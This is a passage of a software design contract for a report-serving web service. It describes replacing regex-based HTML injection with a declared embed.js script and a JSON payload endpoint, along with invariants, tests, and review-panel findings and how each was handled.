- "PLACEMENT IS AN ANCHOR-FILL, NOT A REPLACEMENT, AND THAT IS A DELIBERATE CHANGE FROM TODAY. `_EL_RE` matches an author's opening tag and SUBSTITUTES it, so `<div class=\"ask\" data-booth-ask=\"dfa:logo\"><h3>The one asset that must survive</h3>` loses both the wrapper's class and -- visually -- its framing, leaving the author's heading orphaned and the closing `</div>` stray. That is live today on `dfa-concepts`. embed.js uses `el.insertAdjacentHTML('beforeend', frag)`: the author's element and its contents survive and the fragment lands inside, under the heading. Strictly closer to what the markup says, and it is the behaviour a DOM API gives for free."
|
||||
- "`data-booth-mark` IS CANONICAL; `data-booth-ask` IS A KEPT ALIAS. U2 made an ask one shape of mark and the IA doc names the anchor `data-booth-mark`. But 2 of the 4 live verbatim booths use the `data-booth-ask` spelling, in the operator's own reports, so the selector accepts both -- one extra clause in one selector string. Same for `data-booth-mark-submit` / `data-booth-ask-submit`. Renaming without the alias would break a live report to save nothing."
|
||||
- "THE HTML-COMMENT PLACEHOLDERS ARE DROPPED, NOT PORTED. `<!-- booth:ask stem -->` and `<!-- booth:ask-submit stem -->` have ZERO users across all 21 live booths. Walking comment nodes to keep them would be real complexity bought for nobody, in the unit whose entire point is deletion. A page that used one degrades to the append path -- the ask still renders, at the end -- so the never-invisible guarantee holds even for a caller we do not know about."
|
||||
- "DEGRADATION WITH JAVASCRIPT OFF IS A REAL LOSS AND IT IS NAMED HERE. Today the verbatim path is zero-JS: an ask renders server-side and submits through a plain form. After this unit, no JS means no chrome on the report -- no ask, no way home, no icon. The guarantee that an ask is NEVER INVISIBLE survives in a weaker and still-true form, through surfaces that need no script: the index card carries the open-mark badge, and `/b/<name>/marks` renders every mark server-side. This is the cost of the operator's ruling, stated once so nobody meets it as a surprise."
|
||||
- "EMBED.JS IS READ ONCE AT STARTUP, FOR THE REASON TEMPLATES ARE. Serving it from disk per request would give the service a third staleness rule, and a live asset editable under a running process is exactly what put 19 of 25 booths at 500 on 2026-09-21. One rule in this repo: nothing takes effect until you restart. INV-5 holds the line the same way `test_templates_do_not_hot_reload_from_disk` does."
|
||||
- "THE PAYLOAD ENDPOINT DOES NOT RECORD A VIEW. `booth_view` already calls `record_view` above both early returns (U4), and `.viewed` is a deliberate look. A fetch issued by a script on a page that has ALREADY been recorded would double-count activity and reset the TTL on machinery rather than on the operator -- the same distinction the `.lock` exemption draws in `_newest_mtime`."
|
||||
- "THE READ IS LENIENT AND THE STATUS STAYS 200, copied deliberately from `/b/{name}/marks.json`. A damaged `.marks.json` must not 500 the operator's report; it returns an `error` in the body and embed.js mounts the nav anyway. This is the v0.2.2 lesson and the posture every read path in this service already takes."
|
||||
- "WRAP_MAX_BYTES SURVIVES UNCHANGED, at 8 MiB, with the same raw-FileResponse fallback. The work behind it is now trivial, but the READ is not: the largest live verbatim booth is 280 KB and a pathological one still should not be pulled into memory. A booth over the cap loses its chrome exactly as it does today -- no regression, and the constant keeps its existing test."
|
||||
open_questions:
|
||||
- "Whether `/_booth/embed.js` should eventually carry the gallery page's chrome too, making one embed for both surfaces. Out of scope: the gallery page is server-rendered end to end and has no seam problem to solve."
|
||||
- "Whether a booth should be able to suppress injection entirely (a `.no-embed` dotfile) for a report that wants to be served truly untouched. No live booth wants it; declaring the line and then not using it is already most of the way there. Parked rather than designed."
|
||||
---
|
||||
|
||||
# U3 — the declared embed seam
|
||||
|
||||
## The defect, stated precisely
|
||||
|
||||
A booth that ships its own `index.html` is served verbatim. That is the whole
|
||||
promise of the verbatim path, and the Booth breaks it twice on the way out:
|
||||
|
||||
1. **`wrap_verbatim_html`** searches arbitrary author HTML with six regular
|
||||
expressions — `_ICON_RE`, `_HEAD_CLOSE_RE`, `_HTML_OPEN_RE`, `_DOCTYPE_RE`,
|
||||
`_BODY_CLOSE_RE`, `_HTML_CLOSE_RE` — to find somewhere to put a favicon and
|
||||
somewhere to put a floating chip, while threading two constraints it cannot
|
||||
verify: never put anything ahead of a leading doctype, and keep the charset
|
||||
meta inside the first 1024 bytes.
|
||||
2. **`booth/inline.py`** matches a placeholder DSL with four more patterns and
|
||||
substitutes rendered HTML into the author's markup by string replacement.
|
||||
|
||||
Ten patterns, applied to documents the Booth did not write, does not parse, and
|
||||
cannot validate. It works. It is also the single most fragile thing in the
|
||||
service, and it is load-bearing for the operator's most important workflow.
|
||||
|
||||
The failure this invites is not a crash. It is a report that renders *slightly*
|
||||
wrong — and there is a live specimen already. `dfa-concepts/index.html` writes:
|
||||
|
||||
```html
|
||||
<div class="ask" data-booth-ask="dfa:logo"><h3>The one asset that must survive</h3>
|
||||
```
|
||||
|
||||
`_EL_RE` matches the opening `<div …>` and replaces it. The author's `.ask`
|
||||
wrapper class is gone, the `<h3>` is orphaned, and the `</div>` further down is
|
||||
stray. Nobody filed a bug, because a page that is 95% right does not look broken.
|
||||
|
||||
## The seam
|
||||
|
||||
Operator ruling, 2026-09-21. A report carries one line:
|
||||
|
||||
```html
|
||||
<script src="/_booth/embed.js" defer></script>
|
||||
```
|
||||
|
||||
and the Booth mounts its chrome through real DOM APIs. Three consequences, and
|
||||
the third is the one worth stating out loud:
|
||||
|
||||
- **A page that declares the line is served with nothing added to it.** Not
|
||||
"one small injection" — nothing. The body is what the author wrote.
|
||||
- **A page that does not declare it gets that one line appended at the end.**
|
||||
A substring test and a concatenation; no pattern, nothing prepended, no
|
||||
constraint to thread.
|
||||
- **Both of `wrap_verbatim_html`'s hard constraints stop existing** rather than
|
||||
being satisfied more carefully. You cannot displace a doctype you never move,
|
||||
and you cannot push a charset meta out of the detection window by appending.
|
||||
|
||||
## What crosses the seam
|
||||
|
||||
`GET /b/{name}/embed.json` — server-rendered fragments, and nothing embed.js has
|
||||
to decide for itself:
|
||||
|
||||
```json
|
||||
{
|
||||
"booth": "dfa-concepts",
|
||||
"home": "/",
|
||||
"favicon": "data:image/svg+xml,…",
|
||||
"open": ["dfa"],
|
||||
"marks": [
|
||||
{
|
||||
"id": "dfa",
|
||||
"error": null,
|
||||
"whole": "<div class=\"bk-ask\" …>",
|
||||
"submit": "<div class=\"bk-ask\" …>",
|
||||
"questions": [
|
||||
{"key": "logo", "html": "<div …>"},
|
||||
{"key": "display", "html": "<div …>"}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
Every HTML string comes from the `_ask_inline.html` macros that render the same
|
||||
fragments today. `open` is `open_marks(picks)` — computed once, server-side, and
|
||||
never re-derived in JavaScript.
|
||||
|
||||
**A payload whose `.marks.json` could not be read has a stated shape**, because
|
||||
an arm asked and the first draft did not say: `marks` is `[]`, `open` is `[]`,
|
||||
`booth` / `home` / `favicon` are present as normal, and top-level `error` and
|
||||
`detail` carry the verdict. Status stays 200, copied from `/marks.json` — a
|
||||
pinned status code is a promise to remote clients, and the information goes in
|
||||
the body instead. The nav mounts; nothing else does. A per-mark `error` is a
|
||||
different thing: that is ONE unreadable pick inside a file that read fine.
|
||||
|
||||
**`questions` is a LIST, and `key` may be `null`.** This is not a style choice.
|
||||
A single-question pick normalizes to `questions: [{"key": None, …}]`
|
||||
(`asks.normalize_ask`), so a JSON object keyed by question key would serialize
|
||||
that key as the string `"null"` — inventing a name that collides with a real key
|
||||
and that JavaScript would have to translate back. A list also carries declaration
|
||||
order in the format itself rather than leaning on object-key insertion order.
|
||||
A `null` key matches no anchor spec, which is correct and is exactly what
|
||||
`place` does today: a single-question pick is addressed as a whole or not at all.
|
||||
Found by the seam review; see SR-2.
|
||||
|
||||
## How the script learns which booth it is on
|
||||
|
||||
**The find of the contract-review round, three arms independently**, and the one
|
||||
gap that made the rest unimplementable as first written: the declared line is
|
||||
byte-identical for every booth, the payload endpoint needs `{name}`, and the
|
||||
name arrives *inside* the response the fetch needs the name to make.
|
||||
|
||||
The rule, stated once:
|
||||
|
||||
> **The booth name is the second path segment of the page's own address.** A
|
||||
> verbatim report is served at `/b/<name>/`, so `embed.js` reads
|
||||
> `location.pathname`, takes segment 2, and `decodeURIComponent`s it. A page
|
||||
> whose address is not `/b/<name>/...` mounts nothing and returns quietly.
|
||||
>
|
||||
> **Override:** a `<script data-booth="...">` attribute wins if present. The
|
||||
> Booth never writes one — the appended tag is exactly the documented line — but
|
||||
> an author embedding a report elsewhere needs a way to say so, and one optional
|
||||
> attribute is cheaper than a second endpoint.
|
||||
|
||||
This makes the URL grammar part of the public seam, which is the honest reading:
|
||||
an author who writes the line is relying on where the Booth serves them, and
|
||||
that should be written down rather than inferred.
|
||||
|
||||
## The placement algorithm
|
||||
|
||||
The same algorithm `inject_asks` runs today, expressed against a DOM instead of
|
||||
a string. It is written out here because it is the part that moves languages,
|
||||
and a reviewer has to be able to check the two against each other.
|
||||
|
||||
```
|
||||
placed : Map<markId, Set<key | WHOLE>>
|
||||
submitted : Set<markId>
|
||||
|
||||
1. every element matching
|
||||
[data-booth-mark], [data-booth-ask] -- in document order
|
||||
spec -> (id, key?) by splitting on the first ":"
|
||||
mark unknown -> leave the element ALONE (a typo stays visible)
|
||||
key absent -> mount whole; placed[id] += WHOLE; submitted += id
|
||||
key names no question -> leave the element ALONE
|
||||
key present -> mount question; placed[id] += key
|
||||
|
||||
2. every element matching
|
||||
[data-booth-mark-submit], [data-booth-ask-submit]
|
||||
mark unknown -> leave alone
|
||||
otherwise -> mount submit; placed[id] ||= {}; submitted += id
|
||||
|
||||
3. tail, appended to <body> in payload order. THE ARROWS ARE EXCLUSIVE, NOT
|
||||
CUMULATIVE -- first match wins and the mark is done. An arm read them as
|
||||
four independent tests, under which one unplaced mark would mount its whole
|
||||
form AND every question AND a submit block; the notation allowed it and the
|
||||
prose did not forbid it:
|
||||
|
||||
if id not in placed: append whole; NEXT MARK
|
||||
elif mark.error: append nothing; NEXT MARK
|
||||
else:
|
||||
if WHOLE not in placed[id]: append every question not in placed[id]
|
||||
if id not in submitted: append submit (scattered, still submittable)
|
||||
|
||||
4. re-associate: for every control carrying form="…", remove and re-set the
|
||||
attribute, so its form owner is resolved after all fragments are in place.
|
||||
|
||||
5. chip: if `open` is non-empty, link it to the FIRST element in document order
|
||||
whose id is EXACTLY `bk-ask-<open[0]>` or begins `bk-ask-<open[0]>-`.
|
||||
A bare prefix match would send the chip to `bk-ask-batch2-r1` for the mark
|
||||
`batch`, or to an author's own element -- flagged by a cold arm, and the
|
||||
trailing hyphen is what rules it out.
|
||||
|
||||
Two more rules the first draft left to the selector rather than stating:
|
||||
|
||||
- **An element carrying BOTH `data-booth-mark` and `data-booth-ask` uses the
|
||||
canonical one.** The alias exists for reports written before the rename, not
|
||||
to double a mount.
|
||||
- **A submit anchor's spec is its stem; any `:key` on it is IGNORED.** There is
|
||||
no per-question submit block — one pick has one `<form>`, which is the whole
|
||||
reason the `form=` binding exists.
|
||||
```
|
||||
|
||||
**`mount` is `el.insertAdjacentHTML('beforeend', frag)`** — the anchor element
|
||||
and its existing contents survive; the fragment lands inside. See the assumption
|
||||
on anchor-fill for why this is a deliberate change and not an accident.
|
||||
|
||||
**Step 4 is measured, not assumed.** Chromium 151 resolves a control's form owner
|
||||
correctly even when the control is inserted before its `<form>`: a probe run
|
||||
2026-09-22 (N=3 per condition, with a form-first positive control and a
|
||||
points-at-nothing negative control) returned `F, F, F` for control-first and
|
||||
`null, null, null` for the negative. So the pass is *not* needed in Chromium.
|
||||
It is three lines, it costs nothing, and the sensitivity floor of that probe is
|
||||
**one engine** — the operator's own browser was not measured. The failure it
|
||||
guards against is a form the operator fills in whose controls reach no form,
|
||||
so the button does nothing.
|
||||
|
||||
**Step 5 deletes an element.** Today `inject_asks` injects `<a id="bk-ask-<id>-top">`
|
||||
before the first fragment of each pick so the chip has somewhere to jump. The
|
||||
fragments already carry ids; document order in a live DOM is directly queryable;
|
||||
the extra anchor is not needed.
|
||||
|
||||
## Invariants
|
||||
|
||||
Each is falsifiable by a change that a test must catch going red. The
|
||||
*Falsifiable:* line names that change — not a test that merely mentions the
|
||||
invariant. (Five of seven U4 falsifiers were vacuous; see
|
||||
`persistent-memory.d/2026-09-22-vacuous-falsifiers.md`.)
|
||||
|
||||
**INV-1 — A page that declares the seam is served BYTE FOR BYTE.**
|
||||
The response body for a verbatim booth whose `index.html` contains
|
||||
`src="/_booth/embed.js"` (either quote style) is exactly the bytes on disk.
|
||||
⚠ **Bytes, not text, and that is a correction.** The first implementation read
|
||||
with `read_text()`, which opens in universal-newline mode: a CRLF report came
|
||||
back LF, and `errors="replace"` turned any non-UTF-8 byte into U+FFFD. A
|
||||
declaring page was NOT served as its author wrote it — the headline promise —
|
||||
and the test could not see it, because its fixture was LF-only ASCII. The file
|
||||
is decoded only to ask whether it declares the seam; what goes on the wire is
|
||||
the original bytes. A page that only mentions the path is NOT declaring it — see the
|
||||
conditional-append assumption for which way that has to fail.
|
||||
*Falsifiable:* append anything — a chip, a comment, a newline — to the declaring
|
||||
branch's response and `test_declaring_page_is_served_untouched` fails on a
|
||||
whole-body equality, not on a substring absence.
|
||||
|
||||
**INV-2 — A page that does not declare the seam, AND IS UNDER `WRAP_MAX_BYTES`,
|
||||
is mutated exactly once, at the end.** The response is the source BYTES plus
|
||||
`EMBED_SCRIPT_TAG`'s bytes and nothing else, with the source a byte-exact
|
||||
prefix of it.
|
||||
⚠ **The size cap is an explicit exception, not an oversight** — two cold arms
|
||||
read the invariant's universal wording against the raw-`FileResponse`
|
||||
assumption and found them prescribing different responses for the same page. An
|
||||
over-cap page is mutated ZERO times and loses its chrome, exactly as it did
|
||||
before this unit.
|
||||
*Falsifiable:* insert the tag before `</head>` instead of appending, or add the
|
||||
favicon link back, and `test_undeclared_page_gains_only_the_tag` fails the
|
||||
prefix assertion. The exception has its own test,
|
||||
`test_an_oversize_verbatim_page_is_served_raw`, which fails if the append starts
|
||||
firing above the cap.
|
||||
|
||||
**INV-3 — No regular expression is applied to author HTML.**
|
||||
The verbatim branch of `booth_view` performs two `in` tests and one `+`.
|
||||
⚠ **The first draft of this falsifier was VACUOUS and three arms caught it.**
|
||||
It name-matched the six deleted patterns, so reintroducing the same regex under
|
||||
a new name — `_TAIL_RE`, applied in the verbatim branch — left the test green,
|
||||
on this contract's central promise. Worse, this repo's own vacuity pass missed
|
||||
it, because the mutation it tried was the named one: **a vacuity pass is only as
|
||||
good as the mutation it picks, and picking the one the contract names is how it
|
||||
agrees with itself.**
|
||||
*Falsifiable:* `test_no_regex_touches_author_html` walks the AST of
|
||||
`booth/app.py` and asserts the module performs **exactly one** regex operation
|
||||
— `ask_form_id`'s `re.sub` over a mark id, which is not a page — plus that
|
||||
`booth/inline.py` does not exist. Any regex anywhere in the module, under any
|
||||
name, fails it. Verified by mutation: a renamed `_TAIL_RE.sub` in
|
||||
`embed_verbatim` goes red, and the unmutated control stays green.
|
||||
|
||||
**INV-4 — The payload is the only source of what a mark says.**
|
||||
embed.js never decides openness, order, or content. `open` comes from
|
||||
`open_marks`; `marks` order is `marks_for` order; `questions` order is
|
||||
declaration order.
|
||||
*Falsifiable:* the claim ranges over three things and so does the check.
|
||||
**Openness:** have embed.js derive open marks from a `bk-done` class and
|
||||
`test_the_chip_count_comes_from_the_server` fails on a half-answered pick, which
|
||||
`open_marks` calls open and the rendered state does not. **Order:** reverse the
|
||||
tail iteration and `test_the_tail_follows_payload_order` fails. **Content:** the
|
||||
fragments are strings the page never authors, which
|
||||
`test_every_piece_the_author_can_place_is_offered` pins on the server side.
|
||||
|
||||
**INV-5 — `/_booth/embed.js` is read once at startup.**
|
||||
*Falsifiable:* change the route to `read_text()` per request and
|
||||
`test_embed_js_does_not_hot_reload_from_disk` fails — it mutates the file on
|
||||
disk after the app is built and asserts the served body is unchanged.
|
||||
|
||||
**INV-6 — Every ordered collection this unit renders has a stated rule.**
|
||||
Anchors are visited in **document order** (`querySelectorAll`). The tail is
|
||||
appended in **payload order**, which is `(created, id)` — the rule `marks_for`
|
||||
and `hold_read` both sort by, stated here as the rule rather than as one
|
||||
function's name. Questions
|
||||
within a mark are in **declaration order**. The chip targets the **first element
|
||||
in document order** whose id starts with the open mark's prefix.
|
||||
*Falsifiable:* sort the tail by anything else — id, key, insertion — and
|
||||
`test_tail_order_is_payload_order` fails against a fixture whose creation order
|
||||
and id order disagree.
|
||||
|
||||
**INV-7 — Every question of every READABLE pick reaches the document, on a
|
||||
page that runs the script.** Either placed at an anchor or appended, and every
|
||||
pick with a placed question has a submit block.
|
||||
⚠ **Two qualifiers, both added because arms read the first wording literally and
|
||||
were right.** *Readable*: a pick carrying `error` has no questions to place —
|
||||
`marks._hydrate` gives it an empty list — so the tail mounts its broken-ask box
|
||||
and stops, and an unqualified "every pick" would have demanded placement the
|
||||
algorithm forbids in exactly the damaged-data case the leniency posture exists
|
||||
for. *Reaches the document*, not "is visible": the Booth cannot police an author
|
||||
who hides their own anchor, and a guarantee that claimed to would be unenforceable
|
||||
rather than strict.
|
||||
*Falsifiable:* drop the "append the questions the author did not place" branch
|
||||
and `test_partially_marked_page_still_shows_every_question` fails in the browser
|
||||
with 2 of 4 radio groups present.
|
||||
|
||||
## Out of scope (deferred or never)
|
||||
|
||||
Named so a reviewer does not read them as drift.
|
||||
|
||||
- **The gallery page's chrome.** Only a booth's own `index.html` is served
|
||||
verbatim; every other surface is server-rendered end to end and has no seam
|
||||
problem. `/_booth/embed.js` is not loaded there and is not meant to be.
|
||||
- **Re-rendering an ask in JavaScript.** The payload carries server-rendered
|
||||
HTML and embed.js places it. A JS renderer would be a second renderer of one
|
||||
truth — the bug the repo's one-resolver rule exists to stop.
|
||||
- **A no-JavaScript fallback on the verbatim path.** The operator's 2026-09-21
|
||||
ruling accepts the script dependency. The never-invisible guarantee degrades
|
||||
to surfaces that need no script (the index card's badge, `/b/<name>/marks`),
|
||||
and that is the stated cost, not an oversight to be fixed here.
|
||||
- **The HTML-comment placeholders** `<!-- booth:ask … -->`. Zero users across
|
||||
all 21 live booths; dropped rather than ported. A page that used one falls
|
||||
back to the append path, so its ask still renders.
|
||||
- **`_ask_inline.html`'s dead `standalone=False` macro parameter.** No caller
|
||||
has passed `True` since U2 turned the standalone asks page into a 308.
|
||||
Deleting it is tidy-up and changes a macro signature for no behavioural gain.
|
||||
- **`base.html`'s literal duplicate of the favicon data URI.** It predates this
|
||||
unit. The payload reads `FAVICON_HREF`, so this unit adds no third copy; it
|
||||
does not remove the second.
|
||||
- **`WRAP_MAX_BYTES` and its raw-serve fallback.** Unchanged at 8 MiB. A booth
|
||||
over the cap loses its chrome exactly as it did before — no regression, and
|
||||
the constant keeps its existing test.
|
||||
- **`GET /b/<name>/asks`.** Already a 308 into `/marks` since U2. Left alone:
|
||||
the URL is in the operator's history and in landed reports.
|
||||
- **Pushing, and the version bump tier.** Minor needs the operator's approval.
|
||||
|
||||
## Slices
|
||||
|
||||
| # | slice | red→green on |
|
||||
|---|---|---|
|
||||
| 1 | `GET /b/{name}/embed.json` — payload shape, order, leniency, no view recorded | payload tests; existing 410 stay green |
|
||||
| 2 | `GET /_booth/embed.js` — served from a startup read, ETag, no hot reload | INV-5 |
|
||||
| 3 | the verbatim branch rewritten; `inject_asks` and `wrap_verbatim_html` deleted | INV-1, INV-2, INV-3 |
|
||||
| 4 | `booth/static/embed.js` — nav, favicon, styles, no marks yet | browser: chip present, icon set, declaring page untouched |
|
||||
| 5 | placement: anchors, tail, submit, re-association | browser: INV-4, INV-6, INV-7; the live `dfa-concepts` and `sindra-voice-1` shapes as fixtures |
|
||||
| 6 | delete `inline.py`; retire the six tests that test the deleted mechanism; docs | suite green, IA doc and ROADMAP updated |
|
||||
|
||||
## Seam review
|
||||
|
||||
The sibling-aware pass, run in-session against the real module surfaces rather
|
||||
than against the sibling contracts' prose. `/heid-contract-review` is
|
||||
artifact-only by design and structurally cannot see `booth/marks.py`, so this is
|
||||
the only gate that can check what the contract borrows from it.
|
||||
|
||||
| # | finding | disposition |
|
||||
|---|---|---|
|
||||
| **SR-1** | The order invariant named `marks_for`'s ordering. The route actually reads through `hold_read` — one read answering both "what is here" and "can it be read", per the TOCTOU lesson — and only falls back to `marks_for` on the error path. Both sort `(created, id)`, so the contract was not wrong, but it named a function where it meant a rule. | **Amended.** INV-6 states the rule. The route's reader is named in the payload section. |
|
||||
| **SR-2** | **The payload shape was wrong.** `questions` as a JSON object keyed by question key breaks on a single-question pick, whose only question has `key: None` (`asks.normalize_ask`, the `multi: False` branch) — `json.dumps` writes that key as the string `"null"`. Every one-question ask in the fleet hits it, including the live `sindra-voice-1`. | **Scope fix.** `questions` is a list of `{key, html}`; `key` is nullable; declaration order is carried by the format. `booth.asks.normalize_ask` added to `depends_on`. |
|
||||
| **SR-3** | `inline.form_id` was inside the module the contract deletes entirely, but it is not placement machinery — it builds the shared `<form>` id the question fragments bind to with `form=`. Deleting the module as written would delete the fragments' ability to submit. | **Scope miss.** `form_id` moves to `booth/app.py`; `touches` says so. |
|
||||
| **SR-4** | A FLAG mark's id is literally `flag:<target>` (`marks.flag_id`) — it contains the separator the anchor spec splits on. It never reaches the payload only because the payload filters `shape == "pick"`, and pick ids are `valid_stem`-checked (no colon). | **No change, stated.** The filter is load-bearing, not incidental; a later widening of the payload to all shapes would break the split rule silently. |
|
||||
| **SR-5** | `_ask_inline.html`'s `question(a, q, form_id, name_url, standalone=False)` has had no caller passing `standalone=True` since the standalone asks page became a 308 in U2. Dead parameter on a macro this unit edits. | **Out of scope, noted.** Deleting it is tidy-up, not this unit's work, and it changes a macro signature for no behavioural gain. |
|
||||
|
||||
## Contract review — the cold panel
|
||||
|
||||
`/heid-contract-review`, four arms, dispatched `01M351WKV666D681SSRNY7D7X6`.
|
||||
Triaged per the cross-frontier discipline: adopted on merits, not on authority.
|
||||
|
||||
| # | finding | arms | disposition |
|
||||
|---|---|---|---|
|
||||
| **CR-1** | **The seam never tells `embed.js` which booth it is on.** The declared line is byte-identical for every booth, the payload endpoint needs `{name}`, and the name arrives inside the response the fetch needs it to make. Every other section depends on this unstated hop. | 3 of 4, independently | **Genuine add, and the round's headline.** The code already derived it from `location.pathname`; the CONTRACT did not say so, which makes a "public API" whose discovery mechanism is unspecified not fully one. New section: *How the script learns which booth it is on*. No code change. |
|
||||
| **CR-2** | **INV-3's falsifier was vacuous** — it name-matched the six deleted patterns, so a renamed regex applied to the page body kept it green, on this contract's central promise. | 3 of 4 | **Genuine add, and a CODE-side fix.** The test now asserts `booth/app.py` performs exactly one regex operation anywhere in the module. Verified by mutation in both directions. The lesson is sharper than the fix: **this repo's own vacuity pass missed it because it tried the mutation the contract named** — a pass that picks the named mutation agrees with itself. |
|
||||
| **CR-3** | **Declaration by bare substring fails in the dangerous direction.** A report that merely mentions `/_booth/embed.js` — a code sample, a comment — counted as declaring it and was served with no chrome at all, silently. | 3 of 4 | **Genuine add, CODE-side.** Detection now requires `src="…"` (either quote style), which fails toward a harmless duplicate tag instead. New test covers prose, comment and `?v=2` spellings. |
|
||||
| **CR-4** | **INV-2 and the size cap prescribe different responses** for an over-cap non-declaring page, and neither the invariant's wording nor a named falsifier carved the exception. | 2 of 4 | **Genuine add.** INV-2 now states the cap as an explicit exception and names the test that holds it. Code and test were already right. |
|
||||
| **CR-5** | **The tail's four arrows read as independent tests**, under which one unplaced mark mounts its whole form AND every question AND a submit block. | 1 | **Genuine add.** The notation allowed it and the prose did not forbid it. The block is now explicit if/elif/else. Code was already exclusive. |
|
||||
| **CR-6** | **INV-7 quantified over picks the algorithm filters** (errored picks) and over "visible", which placement cannot guarantee. | 2 of 4 | **Genuine add, wording.** INV-7 is now scoped to READABLE picks and claims *reaches the document*, not *is visible*. |
|
||||
| **CR-7** | The chip's prefix rule can select `bk-ask-batch2-r1` for mark `batch`, or an author's own element. | 1 | **Sharpening.** The code always matched exactly-or-hyphen; the contract said "starts with". Wording fixed, and `test_the_chip_does_not_jump_to_a_mark_that_merely_shares_a_prefix` now holds it. |
|
||||
| **CR-8** | Precedence undefined when one element carries both attribute spellings; submit-anchor key handling unstated. | 1 | **Sharpening.** Both stated; `test_the_canonical_attribute_wins_when_both_are_present` added. |
|
||||
| **CR-9** | The damaged-`.marks.json` payload shape was never stated — per-mark `error` was the only error shown. | 1 | **Genuine add, wording.** Stated in *What crosses the seam*. Test already existed. |
|
||||
| **CR-10** | "INV-1" names two different obligations — this contract's untouched-page rule, and the repo's one-resolver rule the assumptions cite. | 1 | **Genuine add, wording.** The assumptions now name CLAUDE.md invariant 3 explicitly. A real collision: the local falsifier goes red on an added newline and stays green if embed.js becomes a second renderer. |
|
||||
| **CR-11** | INV-4's falsifier covered openness while the invariant claimed openness, order AND content. | 1 | **Sharpening.** The falsifier now names a test per clause. |
|
||||
| **CR-12** | `html.questions` keyed by question name vs the top-level `questions` list — which is authoritative? And INV-4 naming `marks_for`'s order while INV-6 fixed `(created, id)`. | 2 | **Settled before the reply landed.** The in-session seam review collapsed both (SR-1, SR-2) while the panel was in flight. Independent convergence on the same two spots — worth recording, not re-fixing. |
|
||||
|
||||
**One arm's finding not adopted**, and the reason: that a question mounted into
|
||||
an author-hidden anchor is still invisible. True, and out of reach — the Booth
|
||||
cannot police an author hiding their own markup. Answered by narrowing INV-7's
|
||||
claim rather than by chasing actual visibility (CR-6).
|
||||
|
||||
**Methodology note the panel raised on its own**, relayed by heid: 5 of 8 arms
|
||||
across two unrelated callers the same evening independently proposed promoting
|
||||
the end-to-end seam-walk from a conditional deliverable to a mandatory one.
|
||||
CR-1 is a direct product of that exercise. Recorded here as evidence; the skill
|
||||
change is the operator's call, not this repo's.
|
||||
|
||||
## Bug hunt — the cold panel
|
||||
|
||||
`/heid-bug-hunt`, four arms, artifact-only over the merge-base diff, dispatched
|
||||
`01M352TPCSN52G6NGJ07T5WSGY`. ⚠ **The snapshot predates the contract-review
|
||||
fixes**, so two of its findings were already closed when the reply landed; the
|
||||
arms flagged the staleness themselves.
|
||||
|
||||
| # | finding | arms | disposition |
|
||||
|---|---|---|---|
|
||||
| **BH-1** | **A declaring page was NOT served as written.** `read_text()` opens in universal-newline mode, so a CRLF report came back LF, and `errors="replace"` replaced any non-UTF-8 byte. The headline promise, broken by the read itself — and invisible to a test whose fixture is LF-only ASCII. | 1 | **Genuine add, and the best finding of the round.** The verbatim branch reads and serves BYTES; the decoded copy answers only "does it declare?". INV-1 and INV-2 now state the byte-level promise, with a CRLF-plus-invalid-byte fixture. |
|
||||
| **BH-2** | **A submit anchor inside the author's own `<form>` loses ours** — the HTML parser drops a nested form outright. Every control's `form=` then points at nothing, and the code recorded the pick as submitted so the tail added no fallback. The operator fills it in and the button does nothing. | 1 | **Genuine add.** A submit anchor counts as submitted only if the form actually survived (`hasForm`); otherwise the tail supplies one at body level, where no form encloses it. |
|
||||
| **BH-3** | **A broken pick's diagnostic never rendered from a submit-only anchor.** An errored pick's `submit` is empty; mounting that and marking it placed made the tail skip it, so the "broken ask" box vanished from the one surface built to show it. | 3 of 4 | **Genuine add.** A submit anchor for an errored pick is left alone, exactly as an anchor naming no mark is, and the tail mounts the diagnostic. |
|
||||
| **BH-4** | **An author's own element can hijack the chip.** `<section id="bk-ask-winner-background">` satisfies any id-prefix rule — the hyphen boundary from CR-7 included. | 4 of 4 | **Genuine add, and it supersedes CR-7's fix.** The chip now searches only the elements THIS SCRIPT MOUNTED, which is the identity the deleted `bk-ask-<id>-top` anchor used to guarantee, and takes the earliest of those by `compareDocumentPosition`. |
|
||||
| **BH-5** | **No error boundary around fragment rendering.** A `.marks.json` that is well-formed JSON with a wrong-shaped `answer` hydrates with no error and then raises in the macro. | 1, `needs-repro` | **Genuine add — reproduced before building for it.** `_safe_fragments` returns a per-mark error record, the same leniency `_hydrate_safe` applies one layer down. ⚠ **The gallery and marks pages still 500 on it, and that is PRE-EXISTING** — measured at `42ea67f`. Out of scope here and recorded rather than quietly widened: `persistent-memory.d/2026-09-22-a-wrong-shaped-answer-500s-the-gallery.md`. **CLOSED 2026-09-22**, after U6, at the hydration boundary rather than by a third copy of this guard — so `_safe_fragments` no longer has a reachable natural trigger and is now a pure backstop, falsified synthetically. Hardening the falsifier found that this guard's own fallback re-rendered through the macro module that had just raised, so it re-raised whenever `whole` was the broken thing; fixed in the same pass. |
|
||||
| **BH-6** | Prototype pollution in the placement maps (`toString` as a mark id, `constructor` as a question key). | 1 | **Already fixed this round** as CR-13, from the code-review panel. Two panels, two lenses, the same defect independently — the strongest signal of the evening that the lenses are not redundant. |
|
||||
| **BH-7** | Bare-substring declaration suppresses the chrome. | 4 of 4 | **Already fixed** as CR-3, before the reply landed. |
|
||||
|
||||
**One correction the panel made to this repo's own prose, adopted:** several
|
||||
comments claimed a multi-question pick POSTs a 400 unless every question is
|
||||
answered. It does not — `test_empty_submission_is_refused_with_400` refuses a
|
||||
WHOLLY EMPTY submission, and a partial answer is accepted and recorded on
|
||||
purpose. The real reason an unplaced question must still be appended is simpler
|
||||
and was being obscured: **a question that never reaches the page cannot be
|
||||
answered at all.** Fixed in `embed.js`, the browser tests and this contract.
|
||||
|
||||
**Not adopted:** the bundle's framing called the service Flask. It is FastAPI;
|
||||
the arm noticed and declined to reason from it, which is the right handling.
|
||||
|
||||
## Vacuity pass — final
|
||||
|
||||
21 mutations, each drawn from an invariant's CLAIM rather than its falsifier's
|
||||
example, each run against its named test, plus an unmutated control run.
|
||||
**21/21 caught, control green.**
|
||||
|
||||
The pass earned its place three times over and none of them was the first run:
|
||||
|
||||
1. It reported **7/7** before the contract panel, which then showed INV-3 was
|
||||
vacuous — because the mutation applied was the one the contract named.
|
||||
2. Re-run **against that fix**, it found the fix's own hole (an aliased
|
||||
`import re as _r`).
|
||||
3. Re-run after the bug-hunt fixes, it reported seven **MUTATION-MISS** rows —
|
||||
its loud-failure mode, firing correctly because the fixes had moved the code
|
||||
out from under stale mutations — and then one genuine **VACUOUS**: the
|
||||
